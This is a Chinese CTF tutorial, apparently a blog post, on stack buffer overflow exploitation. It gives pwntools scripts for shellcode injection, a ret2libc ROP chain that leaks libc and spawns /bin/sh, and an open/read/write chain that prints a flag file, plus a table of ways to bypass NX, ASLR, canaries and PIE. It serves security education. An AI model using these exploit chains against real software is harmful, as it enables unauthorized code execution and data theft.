pwn-缓冲区溢出漏洞利用

一、缓冲区溢出漏洞利用基础

1. 漏洞原理

程序在向缓冲区写入数据时,未检查输入长度,导致数据覆盖相邻内存区域(如返回地址)。攻击者通过构造特殊输入,可控制程序执行流程。

2. 利用条件
  • 可写内存:覆盖返回地址或注入shellcode。
  • 已知函数地址:如system()execve()等。
  • libc 地址泄露:若需动态链接库中的函数。

二、获取Flag场景

场景 1:覆盖返回地址执行shellcode

若程序存在栈溢出且没有开启保护机制(如NX位、ASLR),可注入shellcode并跳转到它执行。

示例步骤

  1. 确定溢出点:找到可覆盖返回地址的偏移量。
  2. 构造 payload:padding+shellcode地址
  3. 执行 shellcode:通常是调用/bin/sh获取 shell,再读取 flag 文件。

示例代码(假设偏移量为 40):

from pwn import *

# 生成shellcode(执行/bin/sh)
shellcode = asm(shellcraft.sh())

# 计算返回地址偏移量(假设为40字节)
padding = b'A' * 40

# 构造payload:padding + shellcode地址
# 注:实际中需确定shellcode在内存中的地址
payload = padding + p64(0xdeadbeef)  # 替换为shellcode地址

# 与程序交互
p = process('./vulnerable_program')
p.sendline(payload)
p.interactive()  # 获取shell后读取flag
场景 2:利用现有函数(ROP 链)

若程序开启了NX保护(禁止执行栈上代码),可利用ROP(Return-Oriented Programming)链调用现有函数(如system("/bin/sh"))。

示例步骤

  1. 寻找 gadget:使用工具(如ROPgadget)查找程序中的pop rdi; ret等指令片段。
  2. 构造 ROP 链padding+pop rdi; ret+"/bin/sh"地址+system地址

示例代码

from pwn import *

p = process('./vulnerable_program')
elf = ELF('./vulnerable_program')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  # 本地libc

# 1. 泄露puts函数真实地址(用于计算libc基址)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']

# 构造ROP链:调用puts(puts_got)打印puts真实地址,然后返回main
rop = ROP(elf)
rop.raw(b'A' * 40)  # padding
rop.puts(puts_got)  # 调用puts(puts_got)
rop.main()          # 返回main,再次触发漏洞

p.sendline(rop.chain())
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(leaked_puts)}")

# 2. 计算libc基址和system、/bin/sh地址
libc.address = leaked_puts - libc.symbols['puts']
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))

# 3. 构造最终ROP链:调用system("/bin/sh")
rop = ROP(elf)
rop.raw(b'A' * 40)
rop.call(system_addr, [bin_sh_addr])  # system("/bin/sh")

p.sendline(rop.chain())
p.interactive()  # 获取shell后读取flag
场景 3:读取 flag 文件内容

若程序无直接执行 shell 的条件,但可控制文件操作,可构造 payload 读取 flag 文件。

示例步骤

  1. 确定 flag 路径:如/home/user/flag.txt
  2. ** 利用read()puts()打印文件内容。
from pwn import *

p = process('./vulnerable_program')
elf = ELF('./vulnerable_program')

# 假设flag路径已知
flag_path = b'/home/user/flag.txt'

# 构造ROP链:open(flag_path) -> read(fd, buf, size) -> write(1, buf, size)
rop = ROP(elf)
rop.raw(b'A' * 40)

# 1. 调用open(flag_path, 0)
rop.call('open', [flag_path, 0])

# 2. 调用read(fd, buf, 0x100)
buf_addr = 0x601000  # 可写内存地址
rop.call('read', [3, buf_addr, 0x100])  # fd=3(open返回值)

# 3. 调用write(1, buf, 0x100)
rop.call('write', [1, buf_addr, 0x100])

p.sendline(rop.chain())
p.interactive()  # 接收flag内容

三、常见保护机制与应对方法

保护机制作用绕过方法
NX 位禁止栈执行ROP 链、利用现有代码段
ASLR地址随机化泄露 libc 地址、爆破低字节
Canary栈保护机制泄露 canary 值、利用格式化字符串漏洞
PIE程序随机基址泄露程序基址

四、实践建议

  1. 学习工具使用

    • pwntools:快速开发 exploit。
    • GDB+pwndbg:调试漏洞利用过程。
    • ROPgadget:生成ROP链。
    • checksec:检查程序保护机制。
  2. 练习平台

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值